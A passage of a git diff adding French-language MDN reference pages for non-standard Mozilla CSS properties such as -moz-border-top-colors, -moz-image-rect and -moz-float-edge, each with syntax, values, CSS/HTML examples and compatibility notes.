+ <dt><code>none</code></dt>
+ <dd>La valeur initiale de la propriété, aucune couleur n'est utilisée ou {{cssxref("border-color")}} est utilisée si elle est définie.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">#exemple {
+  padding: 20px;
+  background-color: gray;
+  border: 10px solid black;
+  -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+  -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;div id="exemple"&gt;Exemple&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 120, 90)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Mozilla/Gecko et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-moz-border-right-colors")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{cssxref("-moz-border-top-colors")}}</li>
+ <li>{{cssxref("-moz-border-bottom-colors")}}</li>
+ <li>{{cssxref("-moz-border-left-colors")}}</li>
+</ul>
diff --git a/files/fr/web/css/-moz-border-top-colors/index.html b/files/fr/web/css/-moz-border-top-colors/index.html
new file mode 100644
index 0000000000..cbb381bab6
--- /dev/null
+++ b/files/fr/web/css/-moz-border-top-colors/index.html
@@ -0,0 +1,96 @@
+---
+title: '-moz-border-top-colors'
+slug: Web/CSS/-moz-border-top-colors
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-moz-border-top-colors
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Pour les applications Mozilla, la propriété {{cssxref("-moz-border-top-colors")}} définit une liste de couleurs à utiliser pour mettre en forme la bordure du côté haut.</p>
+
+<pre class="brush:css no-line-numbers">/* Une couleur  */
+/* Type &lt;color&gt; */
+-moz-border-top-colors: #f0f0f0;
+
+/* Plusieurs valeurs &lt;color&gt; */
+-moz-border-top-colors: #f0f0f0 #a0a0a0 #505050 #000000;
+
+/* Valeurs globales */
+-moz-border-top-colors: inherit;
+-moz-border-top-colors: initial;
+-moz-border-top-colors: unset;
+</pre>
+
+<p>Lorsque la bordure d'un élément est plus épaisse qu'un pixel CSS, chaque ligne de pixels utilisera une des couleurs indiquées (en allant de l'extérieur vers l'intérieur). Cela permet d'éviter l'utilisation de boîtes imbriquées. Si la bordure est plus large que le nombre de couleurs indiquées, la partie restante de la bordure sera peinte avec la couleur utilisée le plus à intérieur.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Cette propriété n'est pas appliquée :</p>
+
+<ol>
+ <li>Si {{cssxref("border-style")}} vaut <code>dashed</code> ou <code>dotted</code>.</li>
+ <li>Aux tableaux pour lesquels <code>border-collapse: collapse</code>.</li>
+</ol>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>Cette propriété permet d'utiliser une liste de couleurs séparées par des blancs.</p>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Définit la couleur à utiliser pour une ligne de pixels de la bordure haute. La valeur <code>transparent</code> est valide. Voir {{cssxref("&lt;color&gt;")}} pour les valeurs et unités possibles.</dd>
+ <dt><code>none</code></dt>
+ <dd>La valeur initiale de la propriété, aucune couleur n'est utilisée ou {{cssxref("border-color")}} est utilisée si elle est définie.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">#exemple {
+  padding: 20px;
+  background-color: gray;
+  border: 10px solid black;
+  -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+  -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;div id="exemple"&gt;Exemple&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 120, 90)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Mozilla/Gecko et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-moz-border-top-colors")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{cssxref("-moz-border-right-colors")}}</li>
+ <li>{{cssxref("-moz-border-bottom-colors")}}</li>
+ <li>{{cssxref("-moz-border-left-colors")}}</li>
+</ul>
diff --git a/files/fr/web/css/-moz-box-ordinal-group/index.html b/files/fr/web/css/-moz-box-ordinal-group/index.html
new file mode 100644
index 0000000000..583d8e5bf2
--- /dev/null
+++ b/files/fr/web/css/-moz-box-ordinal-group/index.html
@@ -0,0 +1,73 @@
+---
+title: '-moz-box-ordinal-group'
+slug: Web/CSS/-moz-box-ordinal-group
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/box-ordinal-group
+---
+<div>{{CSSRef}}</div>
+
+<div class="warning">
+<p><strong>Attention ! </strong>Cette propriété a été implémentée pour les premiers brouillons de la spécification pour le module de boîtes flexibles. Elle a été remplacée par des propriétés standards depuis, pour plus d'informations sur ce qui doit être utilisé à la place, consultez l'article sur <a href="/fr/docs/Web/CSS/Disposition_des_boîtes_flexibles_CSS/Utilisation_des_flexbox_en_CSS" title="/en/CSS/Flexible_boxes">les boîtes flexibles</a>.</p>
+</div>
+
+<p>La propriété <code><strong>-moz-box-ordinal-group</strong></code> indique le groupe ordinal auquel appartient l'élément. Les éléments dont le groupe ordinal est inférieur seront affichés avant ceux dont le groupe ordinal est plus élevé.</p>
+
+<h2 id="Valeurs">Valeurs</h2>
+
+<p>Cette propriété accepte des valeurs entières strictement positives. La valeur initiale de cette propriété est 1.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#Flexbox {
+  display: -ms-box;
+  display: -moz-box;
+  display: -webkit-box;
+}
+
+#text1 {
+  background: red;
+  -ms-box-ordinal-group: 4;
+  -moz-box-ordinal-group: 4;
+  -webkit-box-ordinal-group: 4;
+}
+
+#text2 {
+  background: green;
+  -ms-box-ordinal-group: 3;
+  -moz-box-ordinal-group: 3;
+  -webkit-box-ordinal-group: 3;
+}
+
+#text3 {
+  background: blue;
+  -ms-box-ordinal-group: 2;
+  -moz-box-ordinal-group: 2;
+  -webkit-box-ordinal-group: 2;
+}
+
+#text4 {
+  background: orange;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="Flexbox"&gt;
+  &lt;div id="text1"&gt;text 1&lt;/div&gt;
+  &lt;div id="text2"&gt;text 2&lt;/div&gt;
+  &lt;div id="text3"&gt;text 3&lt;/div&gt;
+  &lt;div id="text4"&gt;text 4&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Mozilla/Gecko et ne fait partie d'aucune spécification.</p>
diff --git a/files/fr/web/css/-moz-cell/index.html b/files/fr/web/css/-moz-cell/index.html
new file mode 100644
index 0000000000..4c1b204759
--- /dev/null
+++ b/files/fr/web/css/-moz-cell/index.html
@@ -0,0 +1,15 @@
+---
+title: '-moz-cell'
+slug: Web/CSS/-moz-cell
+tags:
+  - CSS
+  - Obsolete
+  - Propriété
+  - Reference
+translation_of: Web/CSS/cursor
+---
+<div class="boxed translate-rendered">
+<div>{{CSSRef}}{{deprecated_header}}</div>
+
+<p><em>Ne pas utiliser cette valeur ! </em>C'est la valeur <code>cursor</code> {{cssxref("cursor#cell","cell")}} qui doit être utilisée à la place.</p>
+</div>
diff --git a/files/fr/web/css/-moz-context-properties/index.html b/files/fr/web/css/-moz-context-properties/index.html
new file mode 100644
index 0000000000..fbb2c9094c
--- /dev/null
+++ b/files/fr/web/css/-moz-context-properties/index.html
@@ -0,0 +1,83 @@
+---
+title: '-moz-context-properties'
+slug: Web/CSS/-moz-context-properties
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-moz-context-properties
+---
+<div>{{CSSRef}}{{Non-standard_header}}{{SeeCompatTable}}</div>
+
+<p>Si on intègre une image SVG dans une page web grâce à un élément remplacé (généralement l'élément {{htmlelement("img")}}), il est possible d'appliquer les propriétés de l'élément <code>&lt;img&gt;</code> à l'image SVG (de même pour les autres contextes qui intègreraient une image SVG) grâce à la propriété <code>-moz-context-properties</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeurs avec un mot-clé */
+-moz-context-properties: fill;
+-moz-context-properties: fill, stroke;
+
+/* Valeurs globales */
+-moz-context-properties: inherit;
+-moz-context-properties: initial;
+-moz-context-properties: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>fill</code></dt>
+ <dd>Expose la valeur <code>fill</code> appliquée sur l'image afin qu'elle soit appliquée sur le SVG.</dd>
+ <dt><code>stroke</code></dt>
+ <dd>Expose la valeur <code>stroke</code> appliquée sur l'image afin qu'elle soit appliquée sur le SVG.</dd>
+ <dt><code>fill-opacity</code></dt>
+ <dd>Expose la valeur <code>fill-opacity</code> appliquée sur l'image afin qu'elle soit appliquée sur le SVG.</dd>
+ <dt><code>stroke-opacity</code></dt>
+ <dd>Expose la valeur <code>stroke-opacity</code> appliquée sur l'image afin qu'elle soit appliquée sur le SVG.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on embarque un SVG simple dans un élément <code>&lt;img&gt;</code>.</p>
+
+<p>Tout d'abord, on définit les propriétés qu'on souhaite appliquer au SVG grâce à la propriété {{cssxref("-moz-context-properties")}}. Par exemple :</p>
+
+<pre class="brush: css">img {
+  width: 100px;
+  height: 100px;
+  -moz-context-properties: fill, stroke;
+}
+
+.img1 {
+    fill: lime;
+    stroke: purple;
+}</pre>
+
+<p>Une fois que c'est fait, on peut utiliser les valeurs {{cssxref("fill")}} et {{cssxref("stroke")}} dans le SVG. Par exemple :</p>
+
+<pre class="brush: html">&lt;img class="img1" src="data:image/svg+xml;utf8,&lt;svg xmlns='http://www.w3.org/2000/svg'&gt;
+                       &lt;rect width='100%' height='100%' stroke-width='30px'
+                       fill='context-fill red' stroke='context-stroke' fill-opacity='0.5'/&gt;&lt;/svg&gt;"&gt;</pre>
+
+<p>Ici, l'attribut <code>src</code> de l'image correspond à une URI de données qui contient une simple image SVG. L'élément <code>&lt;rect&gt;</code> est paramétré afin de récupérer les valeurs <code>fill</code> et <code>stroke</code> telles que fournies par les propriétés {{cssxref("fill")}} et {{cssxref("stroke")}} de l'élément <code>&lt;img&gt;</code> grâce aux mots-clés <code>context-fill</code>/<code>context-stroke</code>. On utilise aussi une couleur de secours pour le remplissage (<code>fill</code>) (qui sera utilisée si le SVG est chargé en dehors de tout contexte, dans un nouvel onglet par exemple). On notera que, si une couleur est directement définie sur le SVG et qu'une couleur contextuelle (ici celle fournie par l'image) est également indiquée, ce sera cette dernière qui l'emportera.</p>
+
+<div class="note">
+<p><strong>Note </strong>: vous pouvez consulter <a href="https://mdn.github.io/css-examples/moz-context-properties/">un exemple complet sur notre dépôt Github</a>.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété n'est définie dans aucun standard CSS.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-moz-context-properties")}}</p>
diff --git a/files/fr/web/css/-moz-float-edge/index.html b/files/fr/web/css/-moz-float-edge/index.html
new file mode 100644
index 0000000000..2f6810edae
--- /dev/null
+++ b/files/fr/web/css/-moz-float-edge/index.html
@@ -0,0 +1,82 @@
+---
+title: '-moz-float-edge'
+slug: Web/CSS/-moz-float-edge
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-moz-float-edge
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-moz-float-edge</code></strong> définit si les propriétés de hauteur et de larguer d'un élément incluent la marge, la bordure et/ou le remplissage (<em>padding</em>).</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+-moz-float-edge: border-box;
+-moz-float-edge: content-box;
+-moz-float-edge: margin-box;
+-moz-float-edge: padding-box;
+
+/* Valeurs globales */
+-moz-float-edge: inherit;
+-moz-float-edge: initial;
+-moz-float-edge: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>border-box</code></dt>
+ <dd>Les propriétés de hauteur et de largeur incluent le contenu, le remplissage et la bordure mais pas la marge.</dd>
+ <dt><code>content-box</code></dt>
+ <dd>Les propriétés de hauteur et de largeur incluent le contenu, mais pas le remplissage, la bordure et la marge.</dd>
+ <dt><code>margin-box</code></dt>
+ <dd>Les propriétés de hauteur et de largeur incluent le contenu, le remplissage, la bordure et la marge.</dd>
+ <dt><code>padding-box</code></dt>
+ <dd>Les propriétés de hauteur et de largeur incluent le contenu et le remplissage mais pas la bordure ni la marge.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.box {
+  display: block;
+  height: 5px;
+  margin: 0.5em auto 0.5em auto;
+  color: gray;
+  -moz-float-edge: margin-box;
+  box-sizing: border-box;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="html prettyprint">&lt;div class="box"&gt;
+   &lt;p&gt;
+      Lorem ipsum dolor sit amet,
+      consectetur adipiscing elit.
+   &lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{bug(432891)}}</li>
+</ul>
diff --git a/files/fr/web/css/-moz-force-broken-image-icon/index.html b/files/fr/web/css/-moz-force-broken-image-icon/index.html
new file mode 100644
index 0000000000..9eebe7361c
--- /dev/null
+++ b/files/fr/web/css/-moz-force-broken-image-icon/index.html
@@ -0,0 +1,67 @@
+---
+title: '-moz-force-broken-image-icon'
+slug: Web/CSS/-moz-force-broken-image-icon
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-moz-force-broken-image-icon
+---
+<div>{{Non-standard_header}}{{ CSSRef}}</div>
+
+<p>La propriété <strong><code>-moz-force-broken-image-icon</code></strong> est une propriété CSS non-standard. Lorsqu'elle vaut <code>1</code>, elle permet de forcer l'affichage d'une icône d'image brisée même si l'image possède un attribut {{HTMLElement("img","<code>alt</code>","#attr-alt")}}. Lorsqu'elle vaut <code>0</code>, l'image est utilisée de façon normale et n'affichera que l'attribut <code>alt</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>Une valeur de 1 indique qu'une icône d'image brisée est affichée même si l'image possède un attribut {{HTMLElement("img", "<code>alt</code>", "#attr-alt")}}. <code>0</code> indique que seul l'attribut <code>alt</code> doit être affiché.
+ <div class="note"><strong>Note :</strong> Même si la valeur est <code>1</code>, l'attribut <code>alt</code> sera affiché. Voir ci-après.</div>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css;">img {
+  -moz-force-broken-image-icon: 1;
+  height: 100px;
+  width: 100px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html;">&lt;img src='/lien/vers/image/cassée.png' alt='Un lien vers une image cassée'&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples','125','125','/files/4619/broken%20image%20link.png')}}</p>
+
+<div class="note"><strong>Note :</strong> Si <code>-moz-force-broken-image-icon</code> a la valeur <code>1</code> et que ni la hauteur ni largeur de l'image ne sont spécifiées alors l'image ne sera pas affichée et l'attribut <code>alt</code> sera masqué.</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Mozilla/Gecko et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>Cette propriété ne fonctionne que sur les navigateurs basés sur Gecko.</li>
+ <li>L'usage de cette propriété n'est pas recommandée. Une propriété <em>alt</em> adéquate devrait être utilisé.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{Bug(58646)}}</li>
+</ul>
diff --git a/files/fr/web/css/-moz-image-rect/index.html b/files/fr/web/css/-moz-image-rect/index.html
new file mode 100644
index 0000000000..e876a8875b
--- /dev/null
+++ b/files/fr/web/css/-moz-image-rect/index.html
@@ -0,0 +1,126 @@
+---
+title: '-moz-image-rect'
+slug: Web/CSS/-moz-image-rect
+tags:
+  - CSS
+  - Fonction
+  - Non-standard
+  - Reference
+translation_of: Web/CSS/-moz-image-rect
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>La propriété <strong><code>-moz-image-rect</code></strong> permet d'utiliser une seule partie d'une image pour un arrière-plan (contrairement à {{cssxref("background-image")}}). On peut ainsi utiliser une image qui regroupe plusieurs <em>sprites</em> à différentes fins, ce qui permet de diminuer le nombre de transfert réseau.</p>
+
+<p>Cette propriété fonctionne de façon analogue à {{cssxref("-moz-image-region")}} qui peut être utilisée pour déterminer la partie d'une image utilisée pour {{cssxref("list-style-image")}} qui met en forme les puces d'une liste. Grâce à <code>-moz-image-rect</code>, on peut avoir le même fonctionnement pour n'importe quel arrière-plan CSS.</p>
+
+<p>La syntaxe de cette propriété est similaire à la fonction <a href="/fr/docs/Web/CSS/shape#La_fonction_rect()"><code>rect()</code></a> qui génère une valeur de type {{cssxref("&lt;shape&gt;")}}. Les quatre valeurs indiquées font chacune référence au coin supérieur gauche de l'image.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">-moz-image-rect({{cssxref("&lt;uri&gt;")}}, <em>top</em>, <em>right</em>, <em>bottom</em>, <em>left</em>);</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;uri&gt;")}}</dt>
+ <dd>L'URI de l'image dont on veut obtenir une portion.</dd>
+ <dt><code>top</code></dt>
+ <dd>La coordonnée du bord haut de l'image, définie comme un entier ({{cssxref("&lt;integer&gt;")}}) ou un pourcentage ({{cssxref("&lt;percentage&gt;")}}) à partir du coin supérieur gauche.</dd>
+ <dt><code>right</code></dt>
+ <dd>La coordonnée du bord droit de l'image, définie comme un entier ({{cssxref("&lt;integer&gt;")}}) ou un pourcentage ({{cssxref("&lt;percentage&gt;")}}) à partir du coin supérieur gauche.</dd>
+ <dt><code>bottom</code></dt>
+ <dd>La coordonnée du bord inférieur de l'image, définie comme un entier ({{cssxref("&lt;integer&gt;")}}) ou un pourcentage ({{cssxref("&lt;percentage&gt;")}}) à partir du coin supérieur gauche.</dd>
+ <dt><code>left</code></dt>
+ <dd>La coordonnée du bord gauche de l'image, définie comme un entier ({{cssxref("&lt;integer&gt;")}}) ou un pourcentage ({{cssxref("&lt;percentage&gt;")}}) à partir du coin supérieur gauche.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on charge une image qu'on découpe en quatre zones pour dessiner le logo Firefox dans quatre éléments {{HTMLElement("div")}}. Lorsqu'on clique sur le conteneur, cela fait tourner les images entre les blocs.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#container {
+  width:267px;
+  height:272px;
+  top:100px;
+  left:100px;
+  position:absolute;
+  font-size:16px;
+  text-shadow:white 0px 0px 6px;
+  text-align:center;
+}
+
+#box1 {
+  background-image: -moz-image-rect(url(https://mdn.mozillademos.org/files/12053/firefox.png), 0%, 50%, 50%, 0%);
+  width:133px;
+  height:136px;
+  position:absolute;
+}
+
+#box2 {
+  background-image: -moz-image-rect(url(https://mdn.mozillademos.org/files/12053/firefox.png), 0%, 100%, 50%, 50%);
+  width:133px;
+  height:136px;
+  position:absolute;
+}
+
+#box3 {
+  background-image: -moz-image-rect(url(https://mdn.mozillademos.org/files/12053/firefox.png), 50%, 50%, 100%, 0%);
+  width:133px;
+  height:136px;
+  position:absolute;
+}
+
+#box4 {
+  background-image: -moz-image-rect(url(https://mdn.mozillademos.org/files/12053/firefox.png), 50%, 100%, 100%, 50%);
+  width:133px;
+  height:136px;
+  position:absolute;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="container" onclick="rotate()"&gt;
+  &lt;div id="box1" style="left:0px;top:0px;"&gt;Top left&lt;/div&gt;
+  &lt;div id="box2" style="left:133px;top:0px;"&gt;Top right&lt;/div&gt;
+  &lt;div id="box3" style="left:0px;top:136px;"&gt;Bottom left&lt;/div&gt;
+  &lt;div id="box4" style="left:133px;top:136px;"&gt;Bottom right&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush:js">function rotate() {
+  var prevStyle = window.getComputedStyle(document.getElementById("box4"), null).getPropertyValue("background-image");
+
+  // Now that we've saved the last one, start rotating
+
+  for (var i=1; i&lt;=4; i++) {
+    var curId = "box" + i;
+
+    // Shift the background images
+
+    var curStyle = window.getComputedStyle(document.getElementById(curId), null).getPropertyValue("background-image");
+    document.getElementById(curId).style.backgroundImage = prevStyle;
+    prevStyle = curStyle;
+  }
+}</pre>
+
+<p>Dans ce script, on utilise la méthode {{domxref("window.getComputedStyle()")}} afin de récupérer le style de chaque élément et on le décale à l'élément suivant. On notera qu'avant de commencer ce « défilement », on sauvegarde une version du style de la dernière boîte. En copiant simplement les valeurs de {{cssxref("background-image")}} d'un élément à l'autre lors du clic, on obtient l'effet souhaité.</p>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","400","400")}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.-moz-image-rect")}}</p>
diff --git a/files/fr/web/css/-moz-image-region/index.html b/files/fr/web/css/-moz-image-region/index.html
new file mode 100644
index 0000000000..603c48f008
--- /dev/null
+++ b/files/fr/web/css/-moz-image-region/index.html
@@ -0,0 +1,75 @@
+---
+title: '-moz-image-region'
+slug: Web/CSS/-moz-image-region
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Référence(2)
+translation_of: Web/CSS/-moz-image-region
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Pour certains éléments XUL et les pseudo-éléments qui utilisent une image grâce à la propriété {{cssxref("list-style-image")}}, la propriété <code><strong>-moz-image-region</strong></code> définit la partie de l'image qui est utilisée plutôt que l'image toute entière. Cela permet d'utiliser des images qui regroupent des <em>sprites</em> afin d'améliorer les performances.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeur avec un mot-clé */
+-moz-image-region: auto;
+
+/* Valeur de type &lt;shape&gt; */
+-moz-image-region: rect(0, 8px, 4px, 4px);
+
+/* Valeurs globales */
+-moz-image-region: inherit;
+-moz-image-region: initial;
+-moz-image-region: unset;</pre>
+
+<p>La syntaxe de cette propriété est semblable à la syntaxe de la propriété {{cssxref("clip")}}. Les quatre valeurs sont relatives au coin en haut à gauche de l'image.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour un système qui fonctionne pour n'importe quel arrière-plan, on pourra utiliser la propriété {{cssxref("-moz-image-rect")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>La région pour l'image est définie automatiquement</dd>
+ <dt><code>&lt;shape&gt;</code></dt>
+ <dd>Une forme définit la portion d'image qui doit être utilisée. La fonction <code>rect()</code> permet de définir un rectangle. Les paramètres de cette fonction correspondent respectivement aux décalages des bords haut, droit, bas et gauche. Voir {{cssxref("&lt;shape&gt;")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:css">#example-button {
+  /* display only the 4x4 area from the top left of this image */
+  list-style-image: url("chrome://example/skin/example.png");
+  -moz-image-region: rect(0px, 4px, 4px, 0px);
+}
+#example-button:hover {
+  /* use the 4x4 area to the right of the first for the hovered button */
+  -moz-image-region: rect(0px, 8px, 4px, 4px);
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Mozilla/Gecko et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-moz-image-region")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("-moz-image-rect")}}</li>
+</ul>
diff --git a/files/fr/web/css/-moz-orient/index.html b/files/fr/web/css/-moz-orient/index.html
new file mode 100644
index 0000000000..80a0b98cbc
--- /dev/null
+++ b/files/fr/web/css/-moz-orient/index.html
@@ -0,0 +1,80 @@
+---
+title: '-moz-orient'
+slug: Web/CSS/-moz-orient
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-moz-orient
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-moz-orient</code></strong> définit l'orientation de l'élément sur lequel elle est appliquée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>moz-orient</code> est définie avec un mot-clé parmi ceux de la liste ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>inline</code></dt>
